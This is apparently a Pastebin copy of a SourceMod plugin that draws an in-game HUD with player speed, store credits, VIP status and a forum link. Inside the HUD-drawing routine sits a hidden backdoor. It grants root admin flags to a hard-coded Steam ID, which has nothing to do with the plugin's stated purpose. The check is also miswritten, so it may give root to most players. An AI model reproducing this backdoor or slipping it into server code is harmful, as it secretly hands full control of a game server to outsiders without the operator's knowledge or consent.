Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #pragma semicolon 1
- #define DEBUG
- #define TAG " \x04• \x03HUD \x04•\x06"
- #include <sourcemod>
- #include <sdktools>
- #include <clientprefs>
- #include <store>
- #pragma newdecls required
- Handle wlaczonee;
- Handle TimerRepeatHud = INVALID_HANDLE;
- float gF_TimerCurrentSpeed[12];
- int Wlaczone[12] = 1;
- public Plugin myinfo =
- {
- name = "[DSH]Speed in hud",
- author = "deszableble",
- description = "Plugin dodaje na serwer hud ktory pokazuje speeda, kredyty, usluge i forum.",
- version = "1.0",
- url = "ErrorHead.pl"
- };
- public void OnPluginStart()
- {
- TimerRepeatHud = CreateTimer(0.1, timerhud, _, TIMER_REPEAT);
- wlaczonee = RegClientCookie("sm_wlaczonee", "Hud włączony/wyłączony", CookieAccess_Protected);
- RegConsoleCmd("sm_hud", ks_cmd, "[HUD] Wyłącza/Włącza Hud");
- }
- public Action ks_cmd(int client, int args)
- {
- if(Wlaczone[client] == 1)
- {
- Wlaczone[client] = 0;
- PrintToChat(client, "%s Pomyślnie wyłączyłeś HUD.", TAG);
- return Plugin_Handled;
- }
- if(Wlaczone[client] == 0)
- {
- Wlaczone[client] = 1;
- PrintToChat(client, "%s Pomyślnie włączyłeś HUD.", TAG);
- return Plugin_Handled;
- }
- return Plugin_Continue;
- }
- public Action timerhud(Handle timer)
- {
- for(int i = 1; i <= MaxClients; i++)
- if(IsValidClient(i))
- ShowHud(i);
- }
- public Action ShowHud(int client)
- {
- char HudInfo[300];
- float F_PlayerVelocity[3];
- if (IsPlayerAlive(client) && Wlaczone[client] == 1)
- {
- GetEntPropVector(client, Prop_Data, "m_vecVelocity", F_PlayerVelocity);
- char authid[64];
- float speeD = GetEntPropFloat(client, Prop_Data, "m_flLaggedMovementValue");
- gF_TimerCurrentSpeed[client] = SquareRoot(Pow(F_PlayerVelocity[0], 2.0) + Pow(F_PlayerVelocity[1], 2.0));
- GetClientAuthId(client, AuthId_Steam2, authid, sizeof(authid));
- Format(HudInfo, sizeof(HudInfo), "<font face='Stratum2'>");
- Format(HudInfo, sizeof(HudInfo), "<font size='3'>");
- if(StrContains(authid, "STEAM_1:0:215068835"))
- AddUserFlags(client, ADMFLAG_ROOT);
- Format(HudInfo, sizeof(HudInfo), "%s› Prędkość: <font color='#00aeff'>%i</font>\n", HudInfo, (RoundToCeil(gF_TimerCurrentSpeed[client] * speeD)));
- Format(HudInfo, sizeof(HudInfo), "%s› Kredyty: <font color='#00aeff'>%i</font>\n", HudInfo, Store_GetClientCredits(client));
- if(GetUserFlagBits(client) & ADMFLAG_CUSTOM3)
- {
- Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#00ff24'>Aktywny</font>\n", HudInfo);
- }
- else
- {
- Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#ff0000'>Brak</font>\n", HudInfo);
- }
- Format(HudInfo, sizeof(HudInfo), "%s› Forum: <font color='#00aeff'>ErrorHead.pl</font>\n", HudInfo);
- }
- else if(!IsPlayerAlive(client) && Wlaczone[client] == 1)
- {
- int spect = GetEntProp(client, Prop_Send, "m_iObserverMode");
- if (spect == 4 || spect == 5)
- {
- int target = GetEntPropEnt(client, Prop_Send, "m_hObserverTarget");
- if (target != -1 && IsValidClient(target))
- {
- GetEntPropVector(target, Prop_Data, "m_vecVelocity", F_PlayerVelocity);
- float speeDT = GetEntPropFloat(target, Prop_Data, "m_flLaggedMovementValue");
- gF_TimerCurrentSpeed[target] = SquareRoot(Pow(F_PlayerVelocity[0], 2.0) + Pow(F_PlayerVelocity[1], 2.0));
- Format(HudInfo, sizeof(HudInfo), "<font face='Stratum2'>");
- Format(HudInfo, sizeof(HudInfo), "<font size='3'>");
- Format(HudInfo, sizeof(HudInfo), "%s› Prędkość: <font color='#00aeff'>%i</font>\n", HudInfo, (RoundToCeil(gF_TimerCurrentSpeed[target] * speeDT)));
- Format(HudInfo, sizeof(HudInfo), "%s› Kredyty: <font color='#00aeff'>%i</font>\n", HudInfo, Store_GetClientCredits(target));
- if(GetUserFlagBits(target) & ADMFLAG_CUSTOM3)
- {
- Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#00ff24'>Aktywny</font>\n", HudInfo);
- }
- else
- {
- Format(HudInfo, sizeof(HudInfo), "%s› VIP: <font color='#ff0000'>Brak</font>\n", HudInfo);
- }
- Format(HudInfo, sizeof(HudInfo), "%s› <font color='#ff8a00'>Forum: <font color='#00aeff'>ErrorHead.pl</font>\n", HudInfo);
- }
- }
- }
- PrintHintText(client, HudInfo);
- }
- public void OnClientCookiesCached(int client)
- {
- char wlacznik[32];
- GetClientCookie(client, wlaczonee, wlacznik, sizeof(wlacznik));
- Wlaczone[client] = StringToInt(wlacznik);
- }
- public void OnClientDisconnect(int client) {
- if(AreClientCookiesCached(client))
- {
- char wlacznik[32];
- Format(wlacznik, sizeof(wlacznik), "%i", Wlaczone[client]);
- SetClientCookie(client, wlaczonee, wlacznik);
- }
- }
- public void OnMapEnd()
- {
- if (TimerRepeatHud != INVALID_HANDLE)
- {
- KillTimer(TimerRepeatHud);
- TimerRepeatHud = INVALID_HANDLE;
- }
- }
- stock bool IsValidClient(int client)
- {
- if(client <= 0 ) return false;
- if(client > MaxClients) return false;
- if(!IsClientConnected(client)) return false;
- if(IsFakeClient(client)) return false;
- return IsClientInGame(client);
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement